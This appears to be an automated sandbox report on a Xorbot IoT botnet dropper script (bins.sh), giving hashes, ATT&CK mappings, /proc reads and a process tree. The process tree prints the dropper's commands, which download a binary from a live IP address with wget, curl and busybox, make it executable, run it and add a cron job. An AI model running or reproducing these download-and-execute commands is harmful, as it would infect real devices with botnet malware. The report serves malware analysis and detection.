xorbot | 3ebb1d478cfff5b5e325d281957e1364851ce10d174cd95e76c37e74b028f789

Analysis

max time kernel
149s
max time network
152s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
03-12-2024 06:11

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General

Target

bins.sh
Size

10KB
MD5

7e4709c72b7042c5a051d82d8765d229
SHA1

a0d5c07a09e781a20f3443dedae239ed96ba33c1
SHA256

3ebb1d478cfff5b5e325d281957e1364851ce10d174cd95e76c37e74b028f789
SHA512

736c107818007aed1eb7bcdb1674fa723eef0d6b54a53a8e7cc1a13df7d2e64a77721604c70dec862125da1b413400ff0d05f8c0446da76b80307a7900566cb6
SSDEEP

192:Hr88u6+p1FJ7fnAgNXBLwzxRbDbEsu6+p1F/7fnAgd0xRFt:L8p9XBLwzxRbDgZX0xRFt

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (1547) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmod

pid	Process
1504	chmod

Executes dropped EXE 1 IoCs

Processes:

59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ

ioc	pid	Process
/tmp/59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ	1505	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ

Renames itself 1 IoCs

Processes:

59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ

pid	Process
1506	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.E8bAt1	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ

description	ioc	Process
File opened for reading	/proc/1559/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/1597/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/17/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/85/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/958/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/1123/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/1174/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/1367/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/1572/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/1573/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/506/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/1136/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/1169/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/1229/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/1322/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/1539/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/1576/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/7/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/434/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/708/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/1472/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/16/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/83/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/98/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/471/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/1599/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/1616/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/153/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/163/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/1564/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/1581/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/1613/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/1640/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/1519/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/1554/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/1580/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/12/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/1142/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/1578/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/80/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/425/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/432/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/1549/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/1570/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/1588/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/82/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/1173/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/1312/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/1545/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/27/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/166/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/169/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/1513/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/1611/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/1568/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/1628/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/1589/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/172/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/1299/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/1621/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/1592/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/1569/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/1587/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
File opened for reading	/proc/515/cmdline	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusybox

description	ioc	Process
File opened for modification	/tmp/59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ	wget
File opened for modification	/tmp/59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ	curl
File opened for modification	/tmp/59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1481
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1482
- /usr/bin/wget
  wget http://216.126.231.240/bins/59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
  2⤵
  - Writes file to tmp directory
  PID:1483
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
  2⤵
  - Writes file to tmp directory
  PID:1494
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
  2⤵
  - Writes file to tmp directory
  PID:1503
- /bin/chmod
  chmod 777 59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
  2⤵
  - File and Directory Permissions Modification
  PID:1504
- /tmp/59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
  ./59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1505
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1507
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1508
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1509
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1510
- /bin/rm
  rm 59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
  2⤵
  PID:1512
- /usr/bin/wget
  wget http://216.126.231.240/bins/BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
  2⤵
  PID:1515

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/var/spool/cron/crontabs/tmp.E8bAt1

Filesize
210B

MD5
7227ddf5232b4895f7893edb493d6909

SHA1
559a63aebf8672cc92be6a5c96480d87dbd2859a

SHA256
ec189ab08733a146dca92962d8c8a8b5f6be62793709488e815a335dc2f4e8a3

SHA512
f16ae444eedcdd8287d8261ea62f52a18c8fb8f38773a666d9f9111291d393aa22edb880a170bd577ee4498f67f0c4611f0182c4670502c1f0da7f17a2c02b8e

Download Submit